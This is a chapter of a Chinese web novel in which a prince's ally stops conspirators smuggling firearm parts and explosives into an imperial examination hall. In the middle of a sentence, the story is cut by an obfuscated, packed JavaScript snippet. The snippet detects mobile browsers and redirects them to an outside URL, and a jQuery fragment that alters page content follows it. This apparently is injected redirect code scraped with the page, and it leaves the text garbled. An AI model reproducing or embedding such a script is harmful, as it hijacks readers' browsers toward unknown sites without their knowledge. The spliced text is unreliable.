“你怎么不说先问问孤的意思呢？”盛闻拿卢彦的衣服下摆擦手。


    卢彦：“那依殿下的意思…”


    “管孤屁事。”盛闻道，将被他挑光了肉的胡饼放回油纸包里，递给卢彦，“你想娶崔姑娘，那不得问崔姑娘的意思么？”


    “你娶的又不是孤。”盛闻说完，把卢彦轰下了马车，“上嘴皮子碰下嘴皮子，凭什么人家姑娘要嫁给你？”


    马车在宫门前停下时，宁直已候在灯笼下。


    “殿下，卫统领递了急报。”宁直交给盛闻一张奏报，“卫太师发现崔氏旁支正往清河聚集去了。”


    “卫太师的折子写得隐晦。”盛闻读完奏报，“清河积雪未化，商旅骤增…”


    “以你的意思看呢？”盛闻问道。


    宁直了然，问他的意思，这就是在问前世这件事发生的经过了。


    “上次他们用的是海商的夹层货船。”宁直声音压得极低，余光扫过宫墙拐角处的影随，“但这次旁支走的是陆路，车队里装的大约就不是皮甲了。”


    他刻意将“皮甲”二字咬得极重。


    两人都知道，火器的提前介入，将彻底改变拖延战术的格局。


    前世卫屏在崔氏起事时被调去南方治理另一桩案子，导致京城防务空虚，如今卫屏正盯着清河，卫垣也还活着。


    “殿下怀疑，他们要在清河仿造火铳？”宁直挑眉，“不是我夸大，短短半年，他们造不出能用于战场的火铳。”


    “半年造不出整铳，只造零件不就好了么。”盛闻摸着下巴回忆起大皇子盛闱的话，“线人来报，护城河中捞起三大箱火铳…”


    “明明是零件，怎么到大哥嘴里就变成完整的火铳了呢。”


    “化整为零。”宁直道，“前世崔老夫人咽气后第七日，叛军也是突然多出三十架改良弩车。”


    前世崔氏起事时，正是将弩车的零件藏在给老夫人送葬的棺木里。


    “真变态！”盛闻骂了句，“我让卫统领给太师去信，暂不打草惊蛇。”


    “可需要我前去？”宁直问，“那样东西，陛下未曾收回。”


    “什么？”盛闻皱眉，愈发觉得事态荒谬了起来，他原以为在宁直回京述职之际宁直就将虎符交还，为何皇帝没收？


    “杀鸡焉用牛刀。”盛闻摆手，“有卫太师已经十足给他们面子，不必再搭上一个你。”


    “我有其他要事交给你。”盛闻诡秘一笑。


    宁直有了些不好的预感，“什么？”


    盛闻道，“清华园的同学们马上就要去科举了，你去陪陪他们吧？”


    宫门前的灯笼在晨雾中明明灭灭，宁直望着盛闻诡秘的笑容，后颈骤然发紧。


    在清华园上了快一个月的课，宁直已经恨不得找根白绫把自己吊死，此刻听着“混进科举”的命令，他试图讨价还价，“殿下，我的手握刀比握笔稳当。”


    “孤也这么觉得。”盛闻道，“所以那天笔拿稳点，别把同学捅了。”


    ——


    二月十五 贡院正门


    卯初的梆子声遥遥传来，贡院朱漆大门前的水泥路上沾了晨露，竹制的扫把轻轻地扫过去，发出沙沙地声响。


    本届三百零七名举子已按籍列队，门前的侍卫正挨个对照户籍册上图像检查有无顶替。


    “咚——咚——”梆子响过三声，大门吱呀开启，排头举子跨过门槛，盛闻得以看清了上的“鲤跃龙门”砖雕。


    盛闻隐在观礼台的廊柱后，衣摆被穿堂风掀起半角，似有人低声背诵待考篇目的内容，尾音里带着各地的乡音。


    这声音太远了，其实他是没有听到的。


    古往今来，准备考试的人好像也并无不同。他撑着侧脸，看向那些或是胸有成竹，或是紧张不已的学子。


    难怪唐太宗会发出“天下英雄尽入吾毂中”的感叹。


    “那二十个被替换的号军，京兆尹已经控制住了。”京兆尹少尹王无忧侍立在盛闻身侧，后者吸取了教训，一群人把他围得密不透风。


    举子们依次通过搜检，三百零七名举子全部入内。


    “卯初一刻，举子入闱完毕。”赞礼官的唱喏声响起，最后一名号军关上贡院大门，铜锁扣合的声响在空荡的广场回荡。


    盛闻转身瞧见卫屏正倒挂在飞檐上，对他比出个不伦不类的OK的手势。


    他不由得无言，卫屏虽如今成了皇帝暗卫，但没谁还不知道他的身份，倒也不用学影随他们在房檐上倒挂。


    真的很像人猿泰山啊。


    号舍内。


    宁直寻得了自己的位置坐下，这位置不算太偏，光线也还凑合。


    自古以来，有考试就会有作弊。宁直余光扫过号军拎出去几个夹带的考生，不经意地打量着周围的考生。


    一，二…从这个角度只能看到两人十分奇怪。食指第二关节内侧有茧，与文人握笔的茧子方位十分迥异。


    大约是握弩托时抵着弦槽磨出的茧子？


    宁直漫不经心地用手指碾过案几上的砚台棱角，墨香混着号舍里潮湿的霉味钻进鼻腔。


    那两个可疑考生分坐在他左右斜后方，左侧那人正低头用镇纸敲打砚台，动作机械得像是在测试器物重量。


    寻常举子谁会对着砚台使这么大劲？


    别把同学捅了。宁直想起盛闻的交代，贡院的位置与潼关的地理位置…


    难不成？


    梆子声敲过卯初二刻，监考官捧着题箱步入贡院。


    宁直余光瞥见左侧考生忽然挺直脊背，好像百无聊赖地用指节随意叩了叩号舍木板。


    三下短，两下长，是暗号。宁直捏了捏手中的毛笔，他低头调整坐姿，摆出一个很扭曲的姿势，用靴跟碾住了从右侧考生袖中滑落的东西。


    那是片三寸长的熟铁薄片，边缘刻着细密的螺旋纹。


    这东西他见过，是火铳扳机卡槽的零件。此刻铁片上还带着体温，显然是刚从袖中夹层取出。


    贡院一角传来唰的拆封声，考题即将揭晓。


    宁直右侧考生突然剧烈咳嗽起来，身体前倾时，袖中又滑出半片齿轮状零件，正滚向号军的巡查路线。


    这是有心还是无意？但宁直知道，若被号军发现，对方必然狗急跳墙，贡院内三百人都会成为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539320|162397||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人质。


    宁直猛地起身，装作踉跄撞翻砚台，墨汁泼在号舍隔板上，正好挡住齿轮的去路。


    “对不住，对不住。”宁直连声道歉，他借着收拾砚台的机会，用脚尖将齿轮勾进自己鞋底凹槽。


    号军走近呵斥，宁直转手将两片零件塞进腰带，露出一个很憨厚的笑，“小人初次应试，实在是太过慌张。”


    监考官的铜锣声在贡院上空炸开，考题发下。


    宁直盯着面前的题目，笔尖悬在纸上未落，他动了动耳朵，左右后方的呼吸声明显变重了。


    谁叫他挑衅呢。


    宁直抬眼见房檐上小黑点似的身影晃了晃，大约是卫屏吧。


    化整为零。还有什么比科举更好的借口聚集各地暗桩？


    等考题揭晓时引发混乱，再里应外合夺取贡院兵权。


    右侧考生的手已探入衣襟，布料撕裂声混在翻卷的考题声中格外清晰。


    趁着号军转身，宁直暴起，狼毫笔杆狠狠戳向对方手腕穴位，另一只手扣住对方肘窝猛地一拧。


    左侧考生惊觉异动，宁直抓起桌上的镇纸直接往他脑门上一扔，镇纸划过弧线，后者顿时不省人事，应声倒地。


    号军转身，疑惑地投来视线。


    “跟我没关系。”宁直立即道。


    号军立时皱眉，谁问你了？


    盛闻安排的二十名号军之一听见异动，忙示意同僚不必管了，他和另外一人踩了一脚试图爬起的考生后背，试图将其抬走。


    既然这些暗桩聚集于此，那被卢彦重伤的崔珩也不会太远了。


    号舍内木屑纷飞，宁直右侧考生的袖中短刃“当啷”落地。


    号军立时猛地踩向对方手腕，假考生没来得及握稳短刀，在对方脖颈处划出一道血痕。


    这特么都是怎么带进来的？宁直暗骂了一声，就算是随便查查，但查得也太不仔细了。


    他余光扫过斜前方号舍里猛然抬头的考生。那些人耳尖微动，指节无意识地叩打案几。


    不止两个暗桩，这一排号舍里至少藏了七八只握惯兵器的手。


    事已至此，动手吧。宁直抚上腰间，他扯下腰带，将两片零件甩进号舍角落的炭盆。


    软剑出鞘，带起一片寒光。


    右侧考生瞳孔骤缩，显然没料到关键零件会被损毁。


    没有了扳机卡槽和击发齿轮，即便能组装火铳，也不过是堆废铁。


    二十名伪装成号军的暗卫同时动手，钢刀出鞘声在贡院四角响起。


    宁直抓起砚台砸向斜后方第三个暗桩，那人正从考篮摸出一只竹筒，竹筒口黑黝黝的，瞧着就不是什么好东西。


    这只“大爆竹”若在密闭的号舍区炸开，三百人必死大半。


    砚台砸中竹筒，与此同时，宁直扑过去用身体压住对方。


    火药撒出去大半，硫磺味在鼻尖炸开，竹筒“砰”地炸响，火星子燎焦了宁直鬓角的头发，但到底没炸个大的出来。


    暗桩的指甲掐进他手臂，宁直反手扣住对方腕骨，听见“咔嚓”一声骨折响，竹筒残骸滚落进炭盆，将最后半片齿轮烧得通红。